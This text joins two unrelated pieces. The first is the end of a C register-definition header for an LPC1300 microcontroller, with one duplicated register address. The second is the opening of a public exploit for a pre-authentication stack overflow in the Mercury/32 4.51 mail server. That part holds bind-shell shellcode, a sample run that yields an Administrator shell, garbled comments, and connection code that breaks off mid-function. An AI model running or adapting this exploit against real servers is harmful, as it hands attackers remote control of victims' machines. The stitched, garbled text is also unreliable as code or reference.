I2CControlClear = REGISTER_ADDRESS(0x40000018); enum I2CControlSet { I2CControlSet_Ack = (0x04), I2CControlSet_Interrupt = (0x08), I2CControlSet_StopCondition = (0x10), //do not clear I2CControlSet_StopCondition I2CControlSet_StartCondition = (0x20), I2CControlSet_EnableI2C = (0x40), }; REGISTER I2CStatus = REGISTER_ADDRESS(0x40000004); enum I2CStatus { I2CStatus_ //@@ugh }; REGISTER I2CData = REGISTER_ADDRESS(0x40000008); REGISTER I2CBuffer = REGISTER_ADDRESS(0x4000002C); REGISTER I2CClockHighTime = REGISTER_ADDRESS(0x40000010); REGISTER I2CClockLowTime = REGISTER_ADDRESS(0x40000014); REGISTER I2CSlaveAddress0 = REGISTER_ADDRESS(0x4000000C); REGISTER I2CSlaveAddress1 = REGISTER_ADDRESS(0x40000020); REGISTER I2CSlaveAddress2 = REGISTER_ADDRESS(0x40000024); REGISTER I2CSlaveAddress3 = REGISTER_ADDRESS(0x40000028); REGISTER I2CSlaveAddress0Mask = REGISTER_ADDRESS(0x40000030); REGISTER I2CSlaveAddress1Mask = REGISTER_ADDRESS(0x40000034); REGISTER I2CSlaveAddress2Mask = REGISTER_ADDRESS(0x40000038); REGISTER I2CSlaveAddress3Mask = REGISTER_ADDRESS(0x4000003C); //these enums apply to all timers enum TimerInterrupts { TimerInterrupts_Match0Flag = (1 << 0), TimerInterrupts_Match1Flag = (1 << 1), TimerInterrupts_Match2Flag = (1 << 2), TimerInterrupts_Match3Flag = (1 << 3), TimerInterrupts_Capture0Flag = (1 << 4), }; enum TimerControl { TimerControl_Enable = (1 << 0), TimerControl_Reset = (1 << 1), }; enum TimerMatchControl { TimerMatchControl_Match0Interrupt = (1 << 0), TimerMatchControl_Match0Reset = (1 << 1), TimerMatchControl_Match0Stop = (1 << 2), TimerMatchControl_Match1Interrupt = (1 << 3), TimerMatchControl_Match1Reset = (1 << 4), TimerMatchControl_Match1Stop = (1 << 5), TimerMatchControl_Match2Interrupt = (1 << 6), TimerMatchControl_Match2Reset = (1 << 7), TimerMatchControl_Match2Stop = (1 << 8), TimerMatchControl_Match3Interrupt = (1 << 9), TimerMatchControl_Match3Reset = (1 << 10), TimerMatchControl_Match3Stop = (1 << 11), }; enum TimerCaptureControl { TimerCaptureControl_CaptureOnRising = (1 << 0), TimerCaptureControl_CaptureOnFalling = (1 << 1), TimerCaptureControl_InterruptOnCapture = (1 << 2), }; enum TimerExternalMatch { TimerExternalMatch_Match0State = (1 << 0), TimerExternalMatch_Match1State = (1 << 1), TimerExternalMatch_Match2State = (1 << 2), TimerExternalMatch_Match3State = (1 << 3), TimerExternalMatch_Match0DoNothing = (0 << 4), TimerExternalMatch_Match0Clear = (1 << 4), TimerExternalMatch_Match0Set = (2 << 4), TimerExternalMatch_Match0Toggle = (3 << 4), TimerExternalMatch_Match1DoNothing = (0 << 6), TimerExternalMatch_Match1Clear = (1 << 6), TimerExternalMatch_Match1Set = (2 << 6), TimerExternalMatch_Match1Toggle = (3 << 6), TimerExternalMatch_Match2DoNothing = (0 << 8), TimerExternalMatch_Match2Clear = (1 << 8), TimerExternalMatch_Match2Set = (2 << 8), TimerExternalMatch_Match2Toggle = (3 << 8), TimerExternalMatch_Match3DoNothing = (0 << 10), TimerExternalMatch_Match3Clear = (1 << 10), TimerExternalMatch_Match3Set = (2 << 10), TimerExternalMatch_Match3Toggle = (3 << 10), }; enum TimerCountControl { TimerCountControl_IncrementOnInternalClock = (0 << 0), TimerCountControl_IncrementOnRisingCapEdge = (1 << 0), TimerCountControl_IncrementOnFallingCapEdge = (2 << 0), TimerCountControl_IncrementOnEitherCapEdge = (3 << 0), TimerCountControl_SelectCap0 = (0 << 2), TimerCountControl_SelectCap1 = (1 << 2), //not supported TimerCountControl_SelectCap2 = (2 << 2), //not supported }; enum TimerPWMControl { TimerPWMControl_Match0 = (1 << 0), TimerPWMControl_Match1 = (1 << 1), TimerPWMControl_Match2 = (1 << 2), TimerPWMControl_Match3 = (1 << 3), }; //Timer 0, 16-bit REGISTER Timer0Interrupts = REGISTER_ADDRESS(0x4000C000); REGISTER Timer0Control = REGISTER_ADDRESS(0x4000C004); REGISTER Timer0Counter = REGISTER_ADDRESS(0x4000C008); REGISTER Timer0Prescaler = REGISTER_ADDRESS(0x4000C00C); REGISTER Timer0PrescaleCounter = REGISTER_ADDRESS(0x4000C010); REGISTER Timer0MatchControl = REGISTER_ADDRESS(0x4000C014); REGISTER Timer0Match0 = REGISTER_ADDRESS(0x4000C018); REGISTER Timer0Match1 = REGISTER_ADDRESS(0x4000C01C); REGISTER Timer0Match2 = REGISTER_ADDRESS(0x4000C020); REGISTER Timer0Match3 = REGISTER_ADDRESS(0x4000C024); REGISTER Timer0CaptureControl = REGISTER_ADDRESS(0x4000C028); REGISTER Timer0CaptureValue = REGISTER_ADDRESS(0x4000C02C); REGISTER Timer0ExternalMatch = REGISTER_ADDRESS(0x4000C03C); REGISTER Timer0CountControl = REGISTER_ADDRESS(0x4000C070); REGISTER Timer0PWMControl = REGISTER_ADDRESS(0x4000C074); //Timer 1, 16-bit REGISTER Timer1Interrupts = REGISTER_ADDRESS(0x40010000); REGISTER Timer1Control = REGISTER_ADDRESS(0x40010004); REGISTER Timer1Counter = REGISTER_ADDRESS(0x40010008); REGISTER Timer1Prescaler = REGISTER_ADDRESS(0x4001000C); REGISTER Timer1PrescaleCounter = REGISTER_ADDRESS(0x40010010); REGISTER Timer1MatchControl = REGISTER_ADDRESS(0x40010014); REGISTER Timer1Match0 = REGISTER_ADDRESS(0x40010018); REGISTER Timer1Match1 = REGISTER_ADDRESS(0x4001001C); REGISTER Timer1Match2 = REGISTER_ADDRESS(0x40010020); REGISTER Timer1Match3 = REGISTER_ADDRESS(0x40010024); REGISTER Timer1CaptureControl = REGISTER_ADDRESS(0x40010028); REGISTER Timer1CaptureValue = REGISTER_ADDRESS(0x4001002C); REGISTER Timer1ExternalMatch = REGISTER_ADDRESS(0x4001003C); REGISTER Timer1CountControl = REGISTER_ADDRESS(0x40010070); REGISTER Timer1PWMControl = REGISTER_ADDRESS(0x40010074); //Timer 2, 32-bit REGISTER Timer2Interrupts = REGISTER_ADDRESS(0x40014000); REGISTER Timer2Control = REGISTER_ADDRESS(0x40014004); REGISTER Timer2Counter = REGISTER_ADDRESS(0x40014008); REGISTER Timer2Prescaler = REGISTER_ADDRESS(0x4001400C); REGISTER Timer2PrescaleCounter = REGISTER_ADDRESS(0x40014010); REGISTER Timer2MatchControl = REGISTER_ADDRESS(0x40014014); REGISTER Timer2Match0 = REGISTER_ADDRESS(0x40014018); REGISTER Timer2Match1 = REGISTER_ADDRESS(0x4001401C); REGISTER Timer2Match2 = REGISTER_ADDRESS(0x40014020); REGISTER Timer2Match3 = REGISTER_ADDRESS(0x40014024); REGISTER Timer2CaptureControl = REGISTER_ADDRESS(0x40014028); REGISTER Timer2CaptureValue = REGISTER_ADDRESS(0x4001402C); REGISTER Timer2ExternalMatch = REGISTER_ADDRESS(0x4001403C); REGISTER Timer2CountControl = REGISTER_ADDRESS(0x40014070); REGISTER Timer2PWMControl = REGISTER_ADDRESS(0x40014074); //Timer 3, 32-bit REGISTER Timer3Interrupts = REGISTER_ADDRESS(0x40018000); REGISTER Timer3Control = REGISTER_ADDRESS(0x40018004); REGISTER Timer3Counter = REGISTER_ADDRESS(0x40018008); REGISTER Timer3Prescaler = REGISTER_ADDRESS(0x4001800C); REGISTER Timer3PrescaleCounter = REGISTER_ADDRESS(0x40018010); REGISTER Timer3MatchControl = REGISTER_ADDRESS(0x40018014); REGISTER Timer3Match0 = REGISTER_ADDRESS(0x40018018); REGISTER Timer3Match1 = REGISTER_ADDRESS(0x4001801C); REGISTER Timer3Match2 = REGISTER_ADDRESS(0x40018020); REGISTER Timer3Match3 = REGISTER_ADDRESS(0x40018024); REGISTER Timer3CaptureControl = REGISTER_ADDRESS(0x40018028); REGISTER Timer3CaptureValue = REGISTER_ADDRESS(0x4001802C); REGISTER Timer3ExternalMatch = REGISTER_ADDRESS(0x4001803C); REGISTER Timer3CountControl = REGISTER_ADDRESS(0x40018070); REGISTER Timer3PWMControl = REGISTER_ADDRESS(0x40018074); //Watchdog REGISTER WatchdogMode = REGISTER_ADDRESS(0x40004000); REGISTER WatchdogTimeLimit = REGISTER_ADDRESS(0x40004004); REGISTER WatchdogFeed = REGISTER_ADDRESS(0x40004008); REGISTER WatchdogTimerValue = REGISTER_ADDRESS(0x4000400C); //ADC REGISTER ADCControl = REGISTER_ADDRESS(0x4001C000); enum ADCControl { ADCControl_ChannelSelectBitmask = (0xFF), //applies to manual (one at a time) mode ADCControl_BurstModeBitmask = (0xFF), //applies to automatic (burst, round-robin) mode only //This must be chosen so that PCLK / (ADCControl_ADCClockDivider + 1) is close to but less than 4.5MHz. // The clock rate may be decreased to better sample high-impedance analog sources. ADCControl_ADCClockDividerBitmask = (0xFF << 8), //Burst Mode: if 0, conversion is performed according to the ADCControl_Start* setting. // If 1, hardware round-robins through the selected bits (7:0) to convert those channels // Important: ADCControl_Stop must be selected when ADCControl_EnableBurstMode is 1 or conversions will not start. ADCControl_EnableBurstMode = (0x01 << 16), //Resolution setting ADCControl_10BitSample_11Clocks = (0x00 << 17), ADCControl_9BitSample_10Clocks = (0x01 << 17), ADCControl_8BitSample_9Clocks = (0x02 << 17), ADCControl_7BitSample_8Clocks = (0x03 << 17), ADCControl_6BitSample_7Clocks = (0x04 << 17), ADCControl_5BitSample_6Clocks = (0x05 << 17), ADCControl_4BitSample_5Clocks = (0x06 << 17), ADCControl_3BitSample_4Clocks = (0x07 << 17), //Note: one ADC sample on one channel takes 2.44us ADCControl_StartStopMask = (0x07 << 24), ADCControl_Stop = (0x00 << 24), ADCControl_StartNow = (0x01 << 24), //Start conversion on timer events: ADCControl_StartOnTimer0Cap0 = (0x02 << 24), ADCControl_StartOnTimer2Cap0 = (0x03 << 24), ADCControl_StartOnTimer2Mat0 = (0x04 << 24), ADCControl_StartOnTimer2Mat1 = (0x05 << 24), ADCControl_StartOnTimer0Mat0 = (0x06 << 24), ADCControl_StartOnTimer0Mat1 = (0x07 << 24), ADCControl_StartOnTimerFallingEdge = (0x01 << 27), //else rising edge }; REGISTER ADCData = REGISTER_ADDRESS(0x4001C004); enum ADCData { ADCData_ResultLeftJustifiedMask = (0xFFFF), ADCData_ChannelMask = (0x7 << 16), ADCData_Overrun = (1 << 30), ADCData_Done = (1 << 31), }; REGISTER ADCInterrupt = REGISTER_ADDRESS(0x4001C00C); enum ADCInterrupt { ADCInterrupt_InterruptOnADC0 = (1 << 0), ADCInterrupt_InterruptOnADC1 = (1 << 1), ADCInterrupt_InterruptOnADC2 = (1 << 2), ADCInterrupt_InterruptOnADC3 = (1 << 3), ADCInterrupt_InterruptOnADC4 = (1 << 4), ADCInterrupt_InterruptOnADC5 = (1 << 5), ADCInterrupt_InterruptOnADC6 = (1 << 6), ADCInterrupt_InterruptOnADC7 = (1 << 7), ADCInterrupt_InterruptOnAny = (1 << 8), }; REGISTER ADC0Data = REGISTER_ADDRESS(0x4001C010); REGISTER ADC1Data = REGISTER_ADDRESS(0x4001C014); REGISTER ADC2Data = REGISTER_ADDRESS(0x4001C018); REGISTER ADC3Data = REGISTER_ADDRESS(0x4001C01C); REGISTER ADC4Data = REGISTER_ADDRESS(0x4001C020); REGISTER ADC5Data = REGISTER_ADDRESS(0x4001C024); REGISTER ADC6Data = REGISTER_ADDRESS(0x4001C028); REGISTER ADC7Data = REGISTER_ADDRESS(0x4001C02C); REGISTER ADCStatus = REGISTER_ADDRESS(0x4001C030); enum ADCStatus { ADCStatus_ADC0Done = (0x01), ADCStatus_ADC1Done = (0x02), ADCStatus_ADC2Done = (0x04), ADCStatus_ADC3Done = (0x08), ADCStatus_ADC4Done = (0x10), ADCStatus_ADC5Done = (0x20), ADCStatus_ADC6Done = (0x40), ADCStatus_ADC7Done = (0x80), ADCStatus_ADC0Overrun = (0x01 << 8), ADCStatus_ADC1Overrun = (0x02 << 8), ADCStatus_ADC2Overrun = (0x04 << 8), ADCStatus_ADC3Overrun = (0x08 << 8), ADCStatus_ADC4Overrun = (0x10 << 8), ADCStatus_ADC5Overrun = (0x20 << 8), ADCStatus_ADC6Overrun = (0x40 << 8), ADCStatus_ADC7Overrun = (0x80 << 8), ADCStatus_InterruptRaised = (0x01 << 16), }; REGISTER SystickControl = REGISTER_ADDRESS(0xE000E010); enum SystickControl { SystickControl_Enable = (0x01), SystickControl_InterruptEnabled = (0x02), SystickControl_ClockSource = (0x04), //always 0 on LPC1xxx SystickControl_Signalled = (1 << 16), }; REGISTER SystickReload = REGISTER_ADDRESS(0xE000E014); REGISTER SystickValue = REGISTER_ADDRESS(0xE000E018); //Write 1 to set interrupts on InterruptSet, write 1 to clear interrupts on InterruptClear REGISTER InterruptEnableSet0 = REGISTER_ADDRESS(0xE000E100); enum Interrupt0 { Interrupt0_PIO0_0 = (1 << 0), // Galago P0 Interrupt0_PIO0_1 = (1 << 1), // Galago P1 Interrupt0_PIO0_2 = (1 << 2), // Galago P3 Interrupt0_PIO0_3 = (1 << 3), // Galago P4 Interrupt0_PIO0_4 = (1 << 4), // Galago SCL Interrupt0_PIO0_5 = (1 << 5), // Galago SDA Interrupt0_PIO0_6 = (1 << 6), // Galago SCK Interrupt0_PIO0_7 = (1 << 7), // Galago CTS Interrupt0_PIO0_8 = (1 << 8), // Galago MISO Interrupt0_PIO0_9 = (1 << 9), // Galago MOSI Interrupt0_PIO0_10 = (1 << 10), Interrupt0_PIO0_11 = (1 << 11), // Galago A0 Interrupt0_PIO1_0 = (1 << 12), // Galago A1 Interrupt0_PIO1_1 = (1 << 13), // Galago A2 Interrupt0_PIO1_2 = (1 << 14), // Galago A3 Interrupt0_PIO1_3 = (1 << 15), Interrupt0_PIO1_4 = (1 << 16), // Galago A5 Interrupt0_PIO1_5 = (1 << 17), // Galago RTS Interrupt0_PIO1_6 = (1 << 18), // Galago RXD Interrupt0_PIO1_7 = (1 << 19), // Galago TXD Interrupt0_PIO1_8 = (1 << 20), // Galago P2 Interrupt0_PIO1_9 = (1 << 21), // Galago P5 Interrupt0_PIO1_10 = (1 << 22), // Galago on-board LED (A6) Interrupt0_PIO1_11 = (1 << 23), // Galago A7 Interrupt0_PIO2_0 = (1 << 24), // Galago SEL Interrupt0_PIO2_1 = (1 << 25), Interrupt0_PIO2_2 = (1 << 26), Interrupt0_PIO2_3 = (1 << 27), Interrupt0_PIO2_4 = (1 << 28), Interrupt0_PIO2_5 = (1 << 29), Interrupt0_PIO2_6 = (1 << 30), Interrupt0_PIO2_7 = (1 << 31), }; REGISTER InterruptEnableSet1 = REGISTER_ADDRESS(0xE000E104); enum Interrupt1 { Interrupt1_PIO2_8 = (1 << 0), Interrupt1_PIO2_9 = (1 << 1), Interrupt1_PIO2_10 = (1 << 2), Interrupt1_PIO2_11 = (1 << 3), Interrupt1_PIO3_0 = (1 << 4), Interrupt1_PIO3_1 = (1 << 5), Interrupt1_PIO3_2 = (1 << 6), // Galago P6 Interrupt1_PIO3_3 = (1 << 7), Interrupt1_I2C = (1 << 8), Interrupt1_Timer0 = (1 << 9), Interrupt1_Timer1 = (1 << 10), Interrupt1_Timer2 = (1 << 11), Interrupt1_Timer3 = (1 << 12), Interrupt1_SPI0 = (1 << 13), Interrupt1_UART = (1 << 14), Interrupt1_USB = (1 << 15), Interrupt1_USBFast = (1 << 16), Interrupt1_ADC = (1 << 17), Interrupt1_Watchdog = (1 << 18), Interrupt1_BrownOut = (1 << 19), //(reserved value = 1 << 20) Interrupt1_GPIO3 = (1 << 21), Interrupt1_GPIO2 = (1 << 22), Interrupt1_GPIO1 = (1 << 23), Interrupt1_GPIO0 = (1 << 24), Interrupt1_SPI1 = (1 << 25), }; REGISTER InterruptEnableClear0 = REGISTER_ADDRESS(0xE000E180); REGISTER InterruptEnableClear1 = REGISTER_ADDRESS(0xE000E184); REGISTER InterruptSetPending0 = REGISTER_ADDRESS(0xE000E200); REGISTER InterruptSetPending1 = REGISTER_ADDRESS(0xE000E204); REGISTER InterruptClearPending0 = REGISTER_ADDRESS(0xE000E280); REGISTER InterruptClearPending1 = REGISTER_ADDRESS(0xE000E284); REGISTER InterruptActive0 = REGISTER_ADDRESS(0xE000E300); REGISTER InterruptActive1 = REGISTER_ADDRESS(0xE000E304); REGISTER InterruptPriority0 = REGISTER_ADDRESS(0xE000E400); REGISTER InterruptPriority1 = REGISTER_ADDRESS(0xE000E404); REGISTER InterruptPriority2 = REGISTER_ADDRESS(0xE000E408); REGISTER InterruptPriority3 = REGISTER_ADDRESS(0xE000E40C); REGISTER InterruptPriority4 = REGISTER_ADDRESS(0xE000E410); REGISTER InterruptPriority5 = REGISTER_ADDRESS(0xE000E414); REGISTER InterruptPriority6 = REGISTER_ADDRESS(0xE000E418); REGISTER InterruptPriority7 = REGISTER_ADDRESS(0xE000E41C); REGISTER InterruptPriority8 = REGISTER_ADDRESS(0xE000E420); REGISTER InterruptPriority9 = REGISTER_ADDRESS(0xE000E424); REGISTER InterruptPriority10 = REGISTER_ADDRESS(0xE000E428); REGISTER InterruptPriority11 = REGISTER_ADDRESS(0xE000E42C); REGISTER InterruptPriority12 = REGISTER_ADDRESS(0xE000E420); REGISTER InterruptPriority13 = REGISTER_ADDRESS(0xE000E434); REGISTER InterruptPriority14 = REGISTER_ADDRESS(0xE000E438); REGISTER InterruptTrigger = REGISTER_ADDRESS(0xE000EF00); enum InterruptTrigger { InterruptTrigger_PIO0_0 = 0, InterruptTrigger_PIO0_1, InterruptTrigger_PIO0_2, InterruptTrigger_PIO0_3, InterruptTrigger_PIO0_4, InterruptTrigger_PIO0_5, InterruptTrigger_PIO0_6, InterruptTrigger_PIO0_7, InterruptTrigger_PIO0_8, InterruptTrigger_PIO0_9, InterruptTrigger_PIO0_10, InterruptTrigger_PIO0_11, InterruptTrigger_PIO1_0, InterruptTrigger_PIO1_1, InterruptTrigger_PIO1_2, InterruptTrigger_PIO1_3, InterruptTrigger_PIO1_4, InterruptTrigger_PIO1_5, InterruptTrigger_PIO1_6, InterruptTrigger_PIO1_7, InterruptTrigger_PIO1_8, InterruptTrigger_PIO1_9, InterruptTrigger_PIO1_10, InterruptTrigger_PIO1_11, InterruptTrigger_PIO2_0, InterruptTrigger_PIO2_1, InterruptTrigger_PIO2_2, InterruptTrigger_PIO2_3, InterruptTrigger_PIO2_4, InterruptTrigger_PIO2_5, InterruptTrigger_PIO2_6, InterruptTrigger_PIO2_7, InterruptTrigger_PIO2_8, InterruptTrigger_PIO2_9, InterruptTrigger_PIO2_10, InterruptTrigger_PIO2_11, InterruptTrigger_PIO3_0, InterruptTrigger_PIO3_1, InterruptTrigger_PIO3_2, InterruptTrigger_PIO3_3, InterruptTrigger_I2C, InterruptTrigger_Timer0, InterruptTrigger_Timer1, InterruptTrigger_Timer2, InterruptTrigger_Timer3, InterruptTrigger_SPI0, InterruptTrigger_UART, InterruptTrigger_USB, InterruptTrigger_USBFast, InterruptTrigger_ADC, InterruptTrigger_Watchdog, InterruptTrigger_BrownOut, //reserved value InterruptTrigger_GPIO3 = (InterruptTrigger_BrownOut + 2), InterruptTrigger_GPIO2, InterruptTrigger_GPIO1, InterruptTrigger_GPIO0, InterruptTrigger_SPI1, }; #ifdef __cplusplus } //ns #endif //__cplusplus #define INTERRUPT __attribute__ ((interrupt ("IRQ"))) //interrupt type is ignored on ARMv7-M #ifdef __cplusplus extern "C" { #endif //__cplusplus void Sleep(void); void Reset(void); void IRQ_WakeupPIO0_0(void); // Galago P0 void IRQ_WakeupPIO0_1(void); // Galago P1 void IRQ_WakeupPIO0_2(void); // Galago P3 void IRQ_WakeupPIO0_3(void); // Galago P4 void IRQ_WakeupPIO0_4(void); // Galago SCL void IRQ_WakeupPIO0_5(void); // Galago SDA void IRQ_WakeupPIO0_6(void); // Galago SCK void IRQ_WakeupPIO0_7(void); // Galago CTS void IRQ_WakeupPIO0_8(void); // Galago MISO void IRQ_WakeupPIO0_9(void); // Galago MOSI void IRQ_WakeupPIO0_10(void); void IRQ_WakeupPIO0_11(void); // Galago A0 void IRQ_WakeupPIO1_0(void); // Galago A1 void IRQ_WakeupPIO1_1(void); // Galago A2 void IRQ_WakeupPIO1_2(void); // Galago A3 void IRQ_WakeupPIO1_3(void); void IRQ_WakeupPIO1_4(void); // Galago A5 void IRQ_WakeupPIO1_5(void); // Galago RTS void IRQ_WakeupPIO1_6(void); // Galago RXD void IRQ_WakeupPIO1_7(void); // Galago TXD void IRQ_WakeupPIO1_8(void); // Galago P2 void IRQ_WakeupPIO1_9(void); // Galago P5 void IRQ_WakeupPIO1_10(void); // Galago on-board LED (A6) void IRQ_WakeupPIO1_11(void); // Galago A7 void IRQ_WakeupPIO2_0(void); // Galago SEL void IRQ_WakeupPIO2_1(void); void IRQ_WakeupPIO2_2(void); void IRQ_WakeupPIO2_3(void); void IRQ_WakeupPIO2_4(void); void IRQ_WakeupPIO2_5(void); void IRQ_WakeupPIO2_6(void); void IRQ_WakeupPIO2_7(void); void IRQ_WakeupPIO2_8(void); void IRQ_WakeupPIO2_9(void); void IRQ_WakeupPIO2_10(void); void IRQ_WakeupPIO2_11(void); void IRQ_WakeupPIO3_0(void); void IRQ_WakeupPIO3_1(void); void IRQ_WakeupPIO3_2(void); // Galago P6 void IRQ_WakeupPIO3_3(void); void IRQ_I2C(void); void IRQ_Timer0(void); //Timer16B0 or Timer16_0 in the docs void IRQ_Timer1(void); //Timer16B1 or Timer16_1 void IRQ_Timer2(void); //Timer32B0 or Timer32_0 void IRQ_Timer3(void); //Timer32B1 or Timer32_1 void IRQ_SPI0(void); void IRQ_UART(void); void IRQ_USB_IRQ(void); void IRQ_USB_FIQ(void); void IRQ_ADC(void); void IRQ_Watchdog(void); void IRQ_Brownout(void); void IRQ_GPIO_3(void); // Galago P6 void IRQ_GPIO_2(void); // Galago SEL void IRQ_GPIO_1(void); // Galago A1 A2 A3 A5 RTS RXD TXD P2 P5 LED(/A6) A7 void IRQ_GPIO_0(void); // Galago P0 P1 P3 P4 SCL SDA SCK CTS MISO MOSI A0 #ifdef __cplusplus } //extern "C" #endif //__cplusplus #endif //assembler #endif //__LPC1300_SERIES_INCLUDED__
/* Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal) Public Version 1.0 http://www.ph4nt0m.org 2007-08-22 Code by: Zhenhan.Liu Original POC: http://www.milw0rm.com/exploits/4294 Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html Our Mail-list: http://list.ph4nt0m.org (Chinese) It will bind a cmdshell on port 1154 if successful. Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25 == Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow == Public Version 1.0 == http://www.ph4nt0m.org 2007-08-22 [*] connect to 127.0.0.1:25 ... OK! [C] EHLO void#ph4nt0m.org [S] 220 root ESMTP server ready. [S] 250-root Hello void#ph4nt0m.org; ESMTPs are: 250-TIME [S] 250-SIZE 0 [S] 250 HELP [C] AUTH CRAM-MD5 [S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+ [C] Send Payload... [-] Done! cmdshell@1154? Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154 DNS fwd/rev mismatch: localhost != gnu localhost [127.0.0.1] 1154 (?) open Microsoft Windows XP [°æ±¾ 5.1.2600] (C) °æÈ¨ËùÓÐ 1985-2001 Microsoft Corp. e:\MERCURY>whoami whoami Administrator */ #include <io.h> #include <stdio.h> #include <winsock2.h> #pragma comment(lib, "ws2_32") /* win32_bind - EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */ unsigned char shellcode[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"; // Base64×Ö·û¼¯ __inline char GetB64Char(int index) { const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; if (index >= 0 && index < 64) return szBase64Table[index]; return '='; } // ´ÓË«×ÖÖÐÈ¡µ¥×Ö½Ú #define B0(a) (a & 0xFF) #define B1(a) (a >> 8 & 0xFF) #define B2(a) (a >> 16 & 0xFF) #define B3(a) (a >> 24 & 0xFF) // ±àÂëºóµÄ³¤¶ÈÒ»°ã±ÈÔ­ÎĶàÕ¼1/3µÄ´æ´¢¿Õ¼ä£¬Çë±£Ö¤base64codeÓÐ×ã¹»µÄ¿Õ¼ä inline int Base64Encode(char * base64code, const char * src, int src_len) { if (src_len == 0) src_len = strlen(src); int len = 0; unsigned char* psrc = (unsigned char*)src; char * p64 = base64code; for (int i = 0; i < src_len - 3; i += 3) { unsigned long ulTmp = *(unsigned long*)psrc; register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F); register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F); register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F); *((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24; len += 4; p64 += 4; psrc += 3; } // ´¦Àí×îºóÓàϵIJ»×ã3×ֽڵĶöÊý¾Ý if (i < src_len) { int rest = src_len - i; unsigned long ulTmp = 0; for (int j = 0; j < rest; ++j) { *(((unsigned char*)&ulTmp) + j) = *psrc++; } p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F); p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '='; p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '='; p64 += 4; len += 4; } *p64 = '\0'; return len; } char* GetErrorMessage(DWORD dwMessageId) { static char ErrorMessage[1024]; DWORD dwRet; dwRet = FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options NULL, // pointer to message source dwMessageId, // requested message identifier 0, //dwLanguageId ErrorMessage, //lpBuffer 1024, //nSize NULL //Arguments ); if(dwRet) return ErrorMessage; else { sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId); return ErrorMessage; } } int MakeConnection(char *address,int port,int timeout) { struct sockaddr_in target; SOCKET s; int i; DWORD bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons((short)port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; } int check_recv(SOCKET s, char* str_sig) { char buf[1024]; int ret; for(;;) { memset(buf, 0, sizeof(buf)); ret = recv(s, buf, sizeof(buf), 0); if(ret > 0) { printf("[S] %s", buf); } else { printf("[-] recv() %s\n", GetErrorMessage(GetLastError())); closesocket(s); ExitProcess(-1); } 